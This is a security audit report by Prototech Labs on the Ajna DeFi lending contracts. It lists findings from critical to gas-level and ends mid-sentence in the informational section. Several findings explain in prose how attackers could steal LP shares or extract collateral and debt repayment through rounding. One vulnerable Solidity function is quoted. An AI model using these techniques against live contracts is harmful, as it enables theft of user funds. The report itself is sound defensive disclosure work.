Ajna Security Review

This report was produced for the Ajna Protocol by Prototech Labs

Mail: info@prototechlabs.dev
Twitter: @Prototech_Labs
Web: www.prototechlabs.dev

13th June 2023 - Prototech Labs SEZC Copyright 2023

Contents

1. Executive Summary

This smart contract security review was prepared for the Ajna Protocol by Prototech Labs, a smart contract consultancy providing auditing services, code reviews, blockchain and DAO solutions. Prototech Labs would like to thank the Ajna team for giving us the opportunity to review the current state of their protocol.

This document outlines the findings, limitations, and methodology of our review, which is broken down by issue and categorized by severity. It is our hope that this review provides valuable findings and insight into the current implementation. Prototech Labs is happy to receive questions and feedback to improve our services and look forward to working with you in future project endeavors.

2. Project Overview

Category	**Description**
Type	Protocol audit and code security review
Security Researcher(s)	Kurt Barry Chris Smith Brian McMichael Christopher Mooney Nazzareno Massari Derek Flossman
Timeline	2023-04-26 to 2023-06-05
Method(s)	• Architectural review • Manual review • Adversarial & game theory analysis • Formal verification spec writing • Testing (unit, functional, and invariant analysis)
Code Repository	https://github.com/ajna-finance/contracts
Commit Referenced	https://github.com/ajna-finance/contracts/releases/tag/v0.10.0-rc4
Security Report	https://github.com/Prototech-Labs/published-work

3. Findings Overview

Prototech Labs found a number of important issues relating to pool and bucket behavior for which recommendations have been provided. The Ajna team has incorporated fixes and addressed all of our feedback.

Below are provided a numerical overview of the identified findings, split up by their severity, illustrating their status:

Critical Severity Findings	**[1]**
- Position Manager allows for stealing all LPs #37	Fixed

High Severity Findings	**[3]**
- Collateral Can Be Extracted Without Redeeming LP Shares #57	Fixed
- General Recommendation: Rounding In Favor of the Interacting User Is Dangerous #42	Fixed
- Pools round against themselves and in favor of borrower #39	Fixed

Medium Severity Findings	**[2]**
- Unsafe casts in KickerActions #46	Fixed
- Missing Scaling for ERC-721 Pools' Quote Token on repayment #18	Fixed

Low Severity Findings	**[15]**
- Extremely large debt positions could prevent new borrowers to a pool while severely limiting existing borrowers #55	Acknowledged
- Large position size may discourage kicking because of the resulting large bond size #53	Acknowledged
- Limitations on NFT subset pool size #51	Acknowledged
- TokenIdsAllowed returns false for eligible Collection Pool NFT's. #50	Fixed
- .decimals() is an optional feature of ERC20. #49	Fixed
- Revert after instead of on expire_. #45	Fixed
- Unsafe Casts In RewardsManager #44	Fixed
- PositionManager.moveLiquidity() May Leave Internal State Inconsistent #43	Fixed
- Loan Origination Fee Has Extreme Values At High Interest Rates #38	Acknowledged
- New Borrower Debt overcounted with < 18 decimal Quote Tokens #20	Fixed
- removeCollateral can be used to bypass dust protection check in addCollateral #19	Fixed
- Non-18 Decimal Quote Token Debt cannot be FULLY repaid as expected #17	Fixed
- Any Address Can Execute memorializePositions For Another Address #16	Fixed
- Correction to Meaningful Deposit for In-Auction Debt Neglects Inflator #14	Fixed

- Below-LUP Deposit Fee Has Extreme Values At High Interest Rates #12	Fixed

Informational Findings	**[12]**
- Think through the various implications block.timestamp and network downtime #56	Acknowledged
- Streamline NFT Collection Pool Creation #52	Fixed
- Code Improvement: consider implementing isValidSignature directly #35	Fixed
- isValidSignature doesn't check for well formed signature #33	Fixed
- Code clean up - RewardsManager Reentrancy Guard #32	Fixed
- Code Redundancy: ERC721 is inherited multiple times in PositionManager #31	Fixed
- Code Inconsistency: PermitERC721 uses require where elsewhere custom errors are adopted #29	Fixed
- ERC Compliance: PermitERC721 and PositionManager implementations doesn't match with ERC-4494 Draft #27	Fixed
- Reserve Auction DOS Attack #26	Acknowledged
- Unit Tests & non-18 decimals tokens #25	Acknowledged
- Solidity Version: consider 0.8.16-0.8.18 for deployment #23	Fixed
- Avoid param structs/tuples on external functions. #47	Fixed

Gas Optimization Findings	**[5]**
- Consider checking token id sort order in the pool #54	Acknowledged
- Consider granularizing Info functions. #48	Acknowledged
- Gas Optimization: consider removing redundant check in PermitERC721 #36	Fixed
- Gas Optimization: consider using block.chainid instead of inline assembly chainid #28	Fixed
- Gas Optimization: bytes32ToString can be improved to reduce gas costs #21	Fixed

Code Quality Suggestions	**[2]**
- Informational Non-security Code Changes/Recommendations #34	Fixed
- Code Quality: consider declaring RAY constant directly #59	Fixed

4. Introduction

Ajna's protocol is a non-custodial, peer-to-peer, permissionless lending, borrowing and trading system that requires no governance or external price feeds to function. The protocol consists of pools with lenders and borrowers. The focus of this security review was on the core pool contracts, including but not limited to:

- https://github.com/ajna-finance/ajna-core/tree/main/src with the hash we referenced, here.

Prototech Lab's objective was to evaluate these Ajna contracts for security-related issues, game theory limitations, code quality and adherence to specification and best practices. This included but was not limited to an assessment of the following:

- User and protocol fund safety
- Auction functionality and business logic reviews
- Denial-of-Service and front running concerns
- State management and accounting investigations
- Pools and bucket manipulation scenarios
- Data structure exploits relative to bucket and pool accounting
- Invariant and rounding concerns, vulnerabilities or oversights

5. Limitations and Report Use

Disclaimer: No assessment can guarantee the absolute safety or security of a software-based system. Further, a system can become unsafe or insecure over time as it and/or its environment evolves. This assessment aimed to discover as many issues and make as many suggestions for improvement as possible within the specified timeframe. Undiscovered issues, even serious ones, may remain. Issues may also exist in components and dependencies not included in the assessment scope.

The software systems herein are emergent technologies and carry with them high levels of technical risk and uncertainty. This report and related analysis of projects to not constitute statements, representations or warranties of Prototech Labs in any respect, including regarding the security of the project, utility of the project, suitability of the project's business model, a project's regulatory or legal status or any other statements, representations or warranties about fitness of the project, including those related to its bug free status. You may not rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. Our complete terms of service can be reviewed here.

Specifically, for the avoidance of doubt, any report published by Prototech Labs does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of any client or project, and is not a guarantee as to the absolute security of any project. Prototech Labs does not owe you any duty by virtue of publishing these reports.

6. Findings

Findings and recommendations are listed in this section, grouped into broad categories. It is up to the team behind the code to ultimately decide whether the items listed here qualify as issues that need to be fixed, and whether any suggested changes are worth adopting. When a response from the team regarding a finding is available, it is provided.

Findings are given a severity rating based on their likelihood of causing harm in practice and the potential magnitude of their negative impact. Severity is only a rough guideline as to the risk an issue presents, and all issues should be carefully evaluated.

Severity Level Determination		Impact		
		High	Medium	Low
Likelihood	High	Critical	High	Medium
	Medium	High	Medium	Low
	Low	Medium	Low	Low

Issues that do not present any quantifiable risk are given a severity of `Informational`.

7. Critical Risks

7.1 Position Manager allows for stealing all LPs #37

Severity: Critical, **Status:** Fixed

Context: PositionManager.sol#L170-216

Description: The PositionManager contract allows an attacker to steal all the LPs it manages.

The `memorializePosition` function credits the owner of the position with their full LP balance; however, fewer LPs than this may be transferred from the owner to the PositionManager if the owner has reduced their approval for the PositionMananger. This is because the LPActions.transferLP() function takes the least of either the value passed in or the approval amount. This allows an attacker to inflate their LP balance in the PositionManager and steal LPs from other users in the same bucket. See Appendix 14.1 for further testing details.

Recommendation: The `memorializePosition` should also take the minimum of either the amount or the approval thereby only crediting the user with the amount of LP that will be transferred to it at the end of memorialize.

The two invariants here are:

1. LP balance of `PositionManager` in a Pool for a Bucket should be the sum of the `positions[...][index].lps` for all tokens/users
2. The sum of the LP balance of the `PositionManager` in a Pool across all buckets should be the sum of the `positions[...].[...].lps` across all indexes and tokens/users

Prototech also recommends adding a note to the IPoolLPActions.sol#transferLP doc block explaining that the amount that gets transferred is the min of the LP balance or the approval amount for the sender.

Ajna: This was also identified by CodeArena; a fix was implemented here. Will consider the Prototech-suggested solution and invariants as well.

Prototech: Fix looks good, there is a slightly different implementation suggested in this report and depending on the desired behavior (revert or use the lower allowance amount), either solution will work. Appropriate unit or invariant tests as described above are suggested as well.

8. High Risks

8.1 Collateral Can Be Extracted Without Redeeming LP Shares #57

Severity: High, **Status:** Fixed

Context: [1] ERC20Pool.sol#L325 [2] LenderActions.sol#L631 [3] Buckets.sol#L112

Description: When a user is withdrawing collateral from an ERC20 pool, it's possible for them to withdraw collateral without redeeming any LP shares, allowing them to extract value "for free" (aside from gas costs). This happens due to rounding-in-favor-of-interacting-user in the `collateralToLP` function of the `Buckets` library:

```
function collateralToLP(
    uint256 bucketCollateral_,
    uint256 bucketLP_,
    uint256 deposit_,
    uint256 collateral_,
    uint256 bucketPrice_
) internal pure returns (uint256 lp_) {
    uint256 rate = getExchangeRate(bucketCollateral_, bucketLP_, deposit_, bucketPrice_);

    lp_ = Maths.wdiv(Maths.wmul(collateral_, bucketPrice_), rate);
}
```

The expression `Maths.wmul(collateral_, bucketPrice_)` will evaluate to zero if `collateral_ * bucketPrice_ < 10**18 / 2`. This allows extracting roughly half a quote token worth of collateral for free (assuming it is done in a near-market-price bucket). While this will likely not be profitable for cheap quote tokens after gas costs, for higher-value quote tokens it will be (e.g. ETH). Note further that if for any reason the exchange rate (`rate` in the code snippet above) can be manipulated to be at least an order of magnitude greater than 10^{18}, then the `wdiv` can evaluate to zero, leading to a worse exploit (this level of exchange rate manipulation was not achieved during Prototech's review, but it could not be ruled out, either). The test example in Appendix 14.2 can be added to `tests/forge/unit/ERC20Pool/ERC20PoolCollateral.t.sol`) to demonstrate running the extraction in a loop.

Recommendation: Consistently round against users to ensure such exploits are not possible.

Ajna: Free extraction of collateral prevented in this commit. Rounding-against-user added in this commit.

Prototech: The fixes address the concerns raised in this issue.

8.2 General Recommendation: Rounding In Favor of the Interacting User Is Dangerous #42

Severity: High, **Status:** Fixed

Context: Throughout the codebase.

Description: A general safety principle in DeFi applications is to round against (i.e., to the detriment of) the interacting user in most or all operations. This prevents broad categories of exploits in which rounding is manipulated by users to gain unwarranted value at the expense of other actors. The Ajna protocol makes no systematic attempt to do this; particularly, the ubiquitous `wmul` and `wdiv` functions defined in `Math.sol` round to the nearest `WAD = 10**18`, meaning that most calculations will exhibit variable behavior, sometimes rounding in favor of, and sometimes against, the interacting user. Most interactions invoke these functions multiple times, possibly allowing the "stacking" of favorable rounding errors, which adversaries may find ways to exploit. While other issues in this report call out specific such instances, this issue makes a more general observation that the lack of consistent defensive rounding makes it very difficult to guarantee the safety of the protocol with respect to rounding error exploits. Since the most severe issue resulting from favorable rounding this review found has `High` severity, the risk associated with this more general observation is also being classified as `High`.

Recommendation: Consider implementing "rounding against the interacting user" throughout the codebase. For cases where it is not implemented, have well-reasoned arguments why those interactions are safe. In general, carefully analyze the potential for rounding error in all contexts.

Ajna: Rounding against the user implemented in ajna-finance/contracts@dbebd65.

Prototech: The fixes significantly improve the safety of the codebase. It would require a more in-depth and systematic analysis to say definitively if all rounding-in-favor-of-the-user possibilities have been eliminated. Additional examples are described in Issue 8.1 and 8.3.

8.3 Pools round against themselves and in favor of borrower #39

Severity: High, **Status:** Fixed

Context: Rounding in favor of the borrower.

Description: In cases where pool repayments are being made, the pool rounds the quote token against itself and in favor of the borrower. As seen in the previous issue, this behavior likely persists in other places throughout the system. Over time, it is possible that the pool can compound this rounding, and accounting will reflect a higher balance than the available tokens are in the pool.

The following test was added to `ERC721PoolBorrow.t.sol` modifying the existing `testBorrowAndRepay()` test against an 18 decimal quote token.

Note that the test assertions remain the same regarding the closure of the account, however, the pool token balance is rounded down and the borrower balance is rounded up after repayment. The assertions fail regarding expected balances.

Recommendation: Implement comprehensive testing around non-18 decimal tokens described in Issue 11.10 and verify that pools do not round to their detriment.

Ajna:

- Fix applied: ajna-finance/contracts#843
- Other actions to be taken - improve unit tests

Prototech: Fix acknowledged

9. Medium Risks

9.1 Unsafe casts in KickerActions #46

Severity: Medium, **Status:** Fixed

Context: KickerActions.sol#L483-L486

Description: Several unsafe casts in `KickerActions`. Some of these variables are packed down from a `uint256` parameter to a `uint96` storage variable and the values are derived in `kick()` from various unchecked calculate functions returning `uint256` values.

Recommendation: Ensure that these packed variables are large enough to store expected values and add require checks to ensure safe casts.

Ajna:

- `MOMP` is bounded when it is calculated in `_priceAt` function so cannot exceed `MIN_BUCKET_INDEX / MAX_PRICE` which is `1_004_968_987.606512354182109771 * 1e18`
- `neutralPrice` theoretically should not exceed max price either but since not enforced in code, will safe cast it
- `bondSize` looks to be the most riskiest one here, theoretically should be a huge bond amount but a silent fail will lead to kicker funds lost so it makes sense to safe cast it - and same for `bondFactor` .
- Invariant tests revealed scenarios where neutral price didn't fit in `uint96` and kick reverted (NFT pool, quote token precision 8, bucket indexes 1000 - 1010). Where neutral price is `pool inflator * borrower t0NP`. Fix will be done as part of ajna-finance/contracts#852

Prototech: Fix acknowledged

9.2 Missing Scaling for ERC-721 Pools' Quote Token on repayment #18

Severity: Medium, **Status:** Fixed

Context: [1] ERC721Pool.sol#L214 [2] ERC20Pool.sol#L215

Description: ERC-721 pools with non-18-decimal quote tokens are vulnerable to the attack that was corrected by scaling the Quote Token for ERC-20 pools. In this attack,

the borrower repays slightly less than the token precision. This reduces borrower debt, while transferring 0 quote tokens from their wallet. An attacker could repeat this process using multicall or a proxy, reducing debt while only incurring gas expense. Ultimately, this could allow the attacker to payback debt and retrieve their collateral for free. Typical L1 gas might prevent this from being economically viable, but there could exist a combination of low decimal/high relative value quote tokens (GUSD at 2 decimals or WTBC at 8 decimals) + a low gas cost environment (really low gas on L1 or a low gas cost L2) where this could become a danger

Recommendation: Implement the same (corrected) scaling function to Quote Token.

Ajna: Acknowledged (and explained previous fix/attack): Fix Merged: ajna-finance/contracts#797

Prototech: Fix applies proper scaling and implements the fix for `type(uint256).max`

10. Low Risks

10.1 Extremely large debt positions could prevent new borrowers to a pool while severely limiting existing borrowers #55

Severity: Low, **Status:** Acknowledged

Context: RevertsHelper.sol#L108

Description: As stated in the issue related to the liquidation bond size, it is highly likely that DeFi and CeFi services aggregate in order to save on mainnet gas, it's very probable that these positions become extremely large. What's more, there are a number of viable strategies with the Ajna primitives that may naturally create extremely large debt positions. Any large debt position, especially one opened shortly after crossing the 10 loan threshold, is likely to set the bar too high for new borrowers in the pool. This may price out most legitimate usage of the pool.

Additionally, this new threshold is likely to impact the actions an existing borrower can take with their positions and possibly be used as a DoS to prevent critical borrower actions like `repayDebt()` or perhaps even `take()` from occurring. The origination fee should help prevent this abuse vector, but it must be tested against all potentially profitable attacks in this class to ensure it's a sufficient deterrent.

In other systems, like the Maker Protocol, the dust limit was to ensure liquidators (in Ajna parlance, kickers, takers, settlers), were sufficiently incentivized to liquidate underwater positions so the protocol didn't incur bad debt. In Ajna's case, the dust limit is to ensure liquidations also perform smoothly. There are other ways to accomplish this objective that don't take on the risks above,solutions explored include:

1. Taking a median calculation of the total debt positions rather than an average. Note, the requirement to sort debt may prevent this from being a viable solution.
2. Calculating the total units of gas for the average liquidation related actions and multiplying that by a formula containing `block.basefee` and perhaps a multiplier to achieve a dust limit that would support liquidations even under network congestion conditions. Note: Some EVMs don't support BASEFEE opcode.

A final note. The statement '(including the new loan)' in the whitepaper may be incorrect. The upsert to the loans appears to happen after the dust limit check, and thus in the case of entirely new debt, the new loan should not be included in the threshold yet.

Ajna: The dust limit's intention is to mitigate against a malicious borrower attempting to block liquidation of their loan by flooding the pool with dust loans that become the HTP. The attack would play out such that hundreds, or even thousands, of dust loans would need to be liquidated in order to liquidate the larger loan that actually poses a risk to the pool. The large defunct borrower has the incentive to do this because if the LUP cannot go below their TP because dust loans stand in the way, they cannot be liquidated. Of course one could borrow down the LUP oneself, but that will get very expensive.

On solution #1… is this possible to do without iterating through the debt? If so,this could be a good idea. If not, it opens up another attack vector. Solution #2 seems interesting but would it deter the attack described above?

Recommendation: Given this additional information, option 2 won't accomplish the objective of preventing HTP manipulation, and adding an additional data structure that allows for sorting the debt positions so that one could calculate the median is likely gas prohibitive. However, it still may be worth considering other low-cost ways of aggregating position sizes such that manipulating HTP is prohibitively expensive and yet large positions don't negatively impact existing or new borrowers.

Ajna/Prototech: Acknowledged with ongoing discussion.

10.2 Large position size may discourage kicking because of the resulting large bond size #53

Severity: Low, **Status:** Acknowledged

Context: PoolHelper.sol#L404

Description: The bond size is a result of the bond factor * the debt of the loan; however, the bond factor is always bounded by [1%, 30%] making the resulting bond proportional to the size of the debt. Given the high likelihood that DeFi and CeFi services aggregate in order to save on mainnet gas, it's very probable that these positions become extremely large. What's more, there are a number of viable strategies with the Ajna primitives that may naturally create extremely large debt positions. These positions may become virtually immune to liquidation given the size of the bond that one would need to post to liquidate. Deployment of Ajna to other L2 networks with different security properties, or low liquidity, may inhibit the ability to post a bond large enough to trigger a justified liquidation.

Commit added to the `prototech_tests` PR for an invariant (A8) that ensures bond factor across all liquidations are always bounded by [1%, 30%].
ajna-finance/contracts@a6749be

Recommendation: The best fix for this under all environments, although exceedingly complicated, would be to allow for partial kicks of the borrower's debt. This would allow any sized bond to kick off a liquidation.

Given the additional complexity of managing partial liquidation triggers, an alternative would be to build an ecosystem tool that would allow aggregation of bond funds to trigger liquidations. While this may allow the market to more easily meet the bond size, it still runs the risk that the security properties of a network may not support even an aggregated bond, and thus is not my primary recommended mitigation.

Ajna: May suggest that someone in the community take this tool on as a task. Not going to take action.

Prototech: Acknowledging no action to be taken here.

10.3 Limitations on NFT subset pool size #51

Severity: Low, **Status:** Acknowledged

Context: ERC721Pool.sol#L100-L106

Description: The NFT Subset pool initialization takes an array of acceptable NFT token ID's. These ID's are then looped over and each permissible token ID is written to memory. This is a very expensive operation that bounds the upper size of the available subset.

Performing some benchmarks illustrates that a subpool with 500 elements will cost approximately 11.76m gas to deploy, which is about the target block size. This might not be an issue with some tokens but for others that have, say, larger origin ranges of 1000 tokens, or for a 100x100 virtual property district, it may be of limited functionality.

Recommendation:

- Simple: Determine and document the max feasible length of a subpool array. Consider a require check on the length of the submitted array prior to initialization so that a pool creation doesn't fail for gas purposes and consume all of the user's gas prior to revert for gas expense.
- Advanced: Consider a merkle distribution approach (OpenZeppelin example) where a pool can be initialized with a merkle root of the subset, and tokens can be validated for deposit at runtime via supplied merkle proofs. This is a more difficult and controversial path to take, as it would require greater overhead at the UI level to prepare the proofs, and may not be worth the squeeze for this implementation, but it would allow for a much larger subset of tokens to be added with very little upfront deployment cost.

Ajna: Acknowledged, limitation being documented

10.4 TokenIdsAllowed returns false for eligible Collection Pool NFT's. #50

Severity: Low, **Status:** Fixed

Context: ERC721Pool.sol#L75

Description: This variable creates a public getter for id's that will return false for NFT's eligible to be deposited into a collection pool.

Recommendation: Internalize the storage variable and create a public getter that returns true for NFT id's allowed in a collection pool.

Proposed PR to fix has been submitted and merged upstream ajna-finance/contracts#798

Ajna: Acknowledged

Prototech: ajna-finance/contracts#798

10.5 .decimals() is an optional feature of ERC20. #49

Severity: Low, **Status:** Fixed

Context: [1] ERC721PoolFactory.sol#L60 [2] ERC20PoolFactory.sol#L56-L57

Description: `ERC20.decimals()` is an optional feature of the ERC20 spec and it cannot be relied upon to be present. Pool creation will fail for tokens that do not provide this function. See: https://eips.ethereum.org/EIPS/eip-20#decimals

Recommendation:

- Simple: Consider a `require()` check for all tokens where `.decimals()` is expected and return a graceful error message if the function is not available or is out-of-range.
- Advanced: if `.decimals()` is unavailable on the contract but it is otherwise ERC20 conformant, it would still be possible to alter the logic to treat the token as a 0 decimal token for the purposes of the pool accounting.

Practically speaking most tokens do provide this function and are 18 or less decimals in the current era, mentioning here for conformity to spec.

Ajna: Fixes applied: [1] ajna-finance/contracts#864 [2] ajna-finance/contracts#867

Prototech: Fixes acknowledged

10.6 Revert after instead of on expire_. #45

Severity: Low, **Status:** Fixed

Context: The `_revertOnExpiry(uint256 expiry_)` function reverts on or after the passed-in expiry param. This helper is called directly in a way that reverts when the current timestamp is passed as a parameter.

Description: On-chain keepers, bots, and other external integrations will likely want to code `block.timestamp` as the `expiry_ parameter` for their token operations so that they ensure they are performed atomically. The current code requires a program to pass in `block.timestamp + 1`, which is a less-intuitive way to program an atomic operation.

This expectation also matches the documented behavior of functions such asaddQuoteToken and moveQuoteToken which specify the supplied `expiry_` as the Timestamp **after** which this transaction will revert

Recommendation: Modify RevertsHelper.sol#L87 to:

```
if (block.timestamp > expiry_) revert TransactionExpired();
```

Alternatively, but probably less desirable, update all instances where a user-supplied expiry packs a + 1 to the revert helper so that functionality will match the documentation.

Ajna: Fix applied ajna-finance/contracts#859

Prototech: Fix acknowledged

10.7 Unsafe Casts In RewardsManager #44

Severity: Low, **Status:** Fixed

Context: [1] RewardsManager.sol#L179 [2] RewardsManager.sol#L180 [3] RewardsManager.sol#L236 [4] RewardsManager.sol#L236

Description: The values cast to `uint128` on these lines are not guaranteed to fit within 128 bits.

Recommendation: Check for overflow of these casts to prevent unintended behavior or refactor to avoid the need for conversions.

Ajna:

- Conversions eliminated in ajna-finance/contracts@7180f01 (`movedStakedLiquidity` removed altogether).
- reported also in Codearena and fixed with ajna-finance/contracts#827 (mind that lines 179 and 180 are not of concern anymore as the moveStakedLiquidity function was removed altogether)

Prototech: Fix acknowledged

10.8 PositionManager.moveLiquidity() May Leave Internal State Inconsistent #43

Severity: Low, **Status:** Fixed

Context: PositionManager.sol#L308

Description: Due to rounding error in `_lpToQuoteToken` as well as `Pool.moveQuoteToken`, `vars.lpbAmountFrom` may not be strictly equal to `fromPosition.lps`, and in particular may be slightly less. Since in all cases the `fromIndex` is removed from the corresponding `positionIndexes` set, an inconsistent internal state can result where `positions[params_.tokenId][params_.fromIndex].lps != 0`, yet `positionIndexes[params_.tokenId]` does not contain `fromIndex`. While the amount of any discrepancy should be small, and discrepancies should be correctable via memorializePositions, there could hypothetically be negative consequences for integrated contracts.

Recommendation: Either check for dust LP amounts and leave the `fromIndex` in `positionIndexes[params.tokenId]`, or do the transfer in a way that ensures 100% of the fromIndex LP is moved.

Ajna:

- Fixed in commit ajna-finance/contracts@0e6dc35 by forcing the entire LP amount to be moved.
- Reported by Codearena too and fixed in ajna-finance/contracts#830 by reverting if not all LP moved. This makes UX ugly (as the user will have to redeem from PositionManager and move in such edge cases) but ensures pool LP consistency

Prototech: Discussed with Ajna team, fix resolves issue.

10.9 Loan Origination Fee Has Extreme Values At High Interest Rates #38

Severity: Low, **Status:** Acknowledged

Context: PoolHelper.sol#L116

Description: Similar to the finding for the below-LUP deposit fee, the loan origination fee can reach values in excess of 100% of the loan amount at high interest rates. This could result in unexpected, large losses for borrowers unaware of this dynamic.

Recommendation: Considering capping the origination fee, unless having extremely steep penalties is intended.

Ajna: Acknowledged; the behavior will be left unchanged to discourage borrowing when interest rates are high.

Prototech: The decision to keep the behavior is reasonable; adequate documentation, UI warnings, etc can be employed to mitigate what small risk exists.

10.10 New Borrower Debt overcounted with < 18 decimal Quote Tokens #20

Severity: Low, **Status:** Fixed

Context: [1] ERC20Pool.sol#L139-201 [2] ERC721Pool.sol#L139-201

Description: `drawDebt` in both ERC20 and ERC721 do not scale the requested amount of Quote Token debt. Under the following scenario, this could lead to the borrower being charged for additional debt that they did not receive:

Assume a Quote Token with decimals < 18. Borrower calls ERC…Pool.drawDebt with a debt amount that includes invalid token precision (i.e. `3_000.000000999999999999 * 1e18` for a token with 6 decimals because of a UI rounding/precision issue) This will result in their borrow position being recorded with `3_000.000000999999999999 * 1e18` (ignoring the inflator/origination fee, both of which would be calculated based off the larger number) debt, but only receiving 3000.000000 Quote Tokens.

Recommendation: a `amountToBorrow_ = _roundToScale(...)` at the start of each of these functions fixes this.

An invariant might also be added that the QT the borrower receives is equal to the `(t0Debt - origination fee) * inflator`).

Ajna:

- Good point, noticed when testing invariants too, when borrowers draw debt (from a pool with quote token precision of 2) the result of rounding should be increased in pool reserves (otherwise the reserves invariant would fail) ERC20PoolHandler.sol#L143
- Agree to round the debt amount to token scale.

Prototech: Fix acknowledged

10.11 removeCollateral can be used to bypass dust protection check in addCollateral #19

Severity: Low, Status: Fixed

Context: ERC20Pool.sol#L314-339

Description: addCollateral has a check that prevents lenders from depositing a dusty amount of collateral in low-priced buckets. However, this protection can be circumvented by subsequently calling removeCollateral with a maxAmount_ where prevDepositAmt - maxAmount_ < dustLimit.

Recommendation: Add a check that the remaining collateral in the lender's position for this bucket is not dusty in removeCollateral or one of its downstream LenderAction functions.

Ajna: Acknowledged, and fixed: ajna-finance/contracts#803

Prototech: These changes address the issue identified.

10.12 Non-18 Decimal Quote Token Debt cannot be FULLY repaid as expected #17

Severity: Low, **Status:** Fixed

Context: [1] RevertsHelper.sol#L105 [2] ERC20Pool.sol#L215 [3] BorrowerActions#302

Description: When working with a less than decimals 18 ERC-20 token and attempting to repay full debt using the recommended type(uint256).max), the ERC20Pool.repayDebt scales the debt to repay down:

```
115792089237316195423570985008687907853269984665640564039457584007913129639935
```

becomes

```
115792089237316195423570985008687907853269984665640564039457584007913129639930
```

for a token with 17 decimals. This bypasses the conditional check in BorrowerActions.repayDebt because it is no longer equal to max UINT. This then reverts in Maths.wdiv due to Arithmetic over/underflow.

This will make a confusing interface where tokens like USDC behave differently from DAI for the users and could break some UIs if they do not account for this issue. Running the test described in #17 and adding it to /tests/interactions/ERC20TakeWithExternalLiquidity.t.sol can surface this issue when run with forge test --match-test "testRepayFullUSDCDebt" -vvv

Recommendation: Wrapping the ERC20Pool scaling logic in a conditional to only do it when it is not `type(uint).max` is one possible solution. This seems to still pass the test suite, but likely will require more investigation/coordination with Ajna to ensure it is the correct approach.

Ajna: Fix merged: ajna-finance/contracts#797

Prototech: Fix looks good

10.13 Any Address Can Execute memorializePositions For Another Address #16

Severity: Low, **Status:** Fixed

Context: PositionManager.sol#L170

Description: If a lender has set up all necessary permissions to memorialize its lending positions in an NFT, any other address can call `memorializePositions` and execute some or all of the planned memorializations. While the original owner still retains control, this could be done unexpectedly with possibly negative effects, for example if the lender needed to complete some action with a third-party protocol before memorializing (say, paying back a loan against the position). Unless there is an important use case that requires this openness, it is likely best to remove it.

Recommendation: Restrict the caller of `memorializePositions` to be the owner of the token id passed as a parameter, or add the `mayInteract` modifier to leverage the existing authorization functionality.

Ajna: Fixed in ajna-finance/contracts@d3106d0.

Prototech: Fix acknowledged

10.14 Correction to Meaningful Deposit for In-Auction Debt Neglects Inflator #14

Severity: Low, **Status:** Fixed

Context: PoolCommons.sol#L376

Description: The final step in the calculation of meaningful deposit is reducing it by the current debt-in-auction; however, the “time-zero” debt is used in the calculation, instead of the product of time-zero debt and the inflator (which is the actual present value of the debt in quote tokens). As a consequence, meaningful deposit is overestimated when there is debt in auction, which lowers meaningful actual utilization, suppressing interest rates. This effect becomes progressively more severe with time as the pool’s inflator value grows.

Recommendation: Multiply `t0DebtInAuction_` by `inflator_` in this calculation.

Ajna: Fixed in commit ajna-finance/contracts@45b3846.

Prototech: Fix acknowledged

10.15 Below-LUP Deposit Fee Has Extreme Values At High Interest Rates #12

Severity: Low, Status: Fixed

Context: LenderActions.sol#L168

Description: When poolState_.rate is very high, the assessed fee for deposits below the LUP (Lowest Utilized Price) will approach the entirety of the lender's deposit (note the calculation here); eventually, it even surpasses 100%, causing below-LUP deposit attempts to revert due to an underflow. Essentially, below-LUP deposits go from discouraged to impossible when rates in a pool are high. There is also the risk that a lender might not notice the incredibly high penalty and incur an almost total loss by accident.

Recommendation: Consider limiting the maximum below-LUP deposit fee.

Ajna: Maximum deposit fee capped to 10% in ajna-finance/contracts@1bf6ae9.

Prototech: Fix acknowledged

11. Informational Findings

11.1 Think through the various implications block.timestamp and network downtime #56

Severity: Informational, **Status:** Acknowledged

Context: block.timestamp

Description: Some use cases of block.timestamp may be sensitive to network uptime. In general, imagine block.timestamp has some value t in block b, and then some value t + (1 day) in block b + 1. For example, the liquidation grace period, and auction price drops may be negatively impacted by a network outage. Mainnet uptime if often taken for granted, but recent events show that those assumptions could have potentially harmful implications. More importantly, when considering deploying Ajna to L2s, it's considerably more likely that a network will experience downtime where no blocks are produced, yet time ticks on. If this type of downtime were to be realized, or worse triggered, then it could have dire implications for auctions where the price is determined as a component of time, and may negatively impact other assumptions in the Ajna Protocol.

It is highly suggested that the Ajna team review all the uses of block.timestamp and think through the risks with regards to ethereum mainnet and other networks suffering downtime. Think through what happens if t in block b is then t + (1 day or more) in block b + 1.

Recommendation: There has been a push by some to standardize around block.timestamp rather than block.number for simplicity; however, it may be safer to use a hybrid of both for some use cases like price as a component of time. If one were to store the block.number along with block.timestamp in some structures where one needed to compute delta-t, then one could make safer calculations that were anchored to the minimum of average block time * (b2 - b1) and t2 - t1.

Ajna: Acknowledged

Prototech Comments: It is worth considering updating this calculation to make it more resilient before deployment of Ajna on L2/L3 networks, as their uptime is highly questionable, Prototech supports not making a change to L1 code this late in

development as mainnet has a decent uptime track record. And while this uptime assumption is perhaps unwarranted given the recent transition to PoS, it's still hard to justify going with a more resilient calculation this late in development given how widespread this assumption is across DeFi, and how stellar ethereum's track record has been.

11.2 Streamline NFT Collection Pool Creation #52

Severity: Informational, **Status:** Fixed

Context: ERC721PoolFactory.sol#L54-L56

Description: ERC721 Collection Pools are conceptually deployed here as a subset pool with no elements.

Recommendation: Recommend adding a `deployPool` function to the `ERC721PoolFactory` with an interface matching the `ERC20PoolFactory.deployPool()` interface.

PR Submitted and in discussion here: ajna-finance/contracts#799

Ajna: Fix looks good

Prototech: ajna-finance/contracts#799

11.3 Code Improvement: consider implementing isValidSignature directly #35

Severity: Informational, **Status:** Fixed

Context: PermitERC721.sol#L100-L110

Description: `PermitERC721` is currently implementing permit following the standard `ERC-1271` regarding `isValidSignature` using the `openzeppelin-contracts IERC1271.sol` interface to check the function selector if the signer is a contract as well and uses ecrecover for the other case.

Recommendation: Consider implementing `_isValidSignature` directly (also known as `isValidSignatureNow` in `openzeppelin-contracts`, see here).

Improvements:

- Improve code structure, by handling the code complexity directly into `_isValidSignature` making the code more compact and easier to read and reason about.
- Remove external dependencies, such as `IERC1271` and `Address.sol` where `isContract` is not required as if the signature length is not 65, the `_isValidSignature` will proceed to perform a `staticcall` to the signer address. (see related issue Code Size Optimization: Address.sol imported to use only isContract #30)
- Include more checks for the signature, ensuring is well formed (see related issue isValidSignature doesn't check for well formed signature #33)
- Introduce some gas optimizations as well, by removing the redundant check `recoveredAddress != address(0)` assuming current `openzeppelin-contracts` implementation doesn't change, where `ownerOf` ensures already that owner is

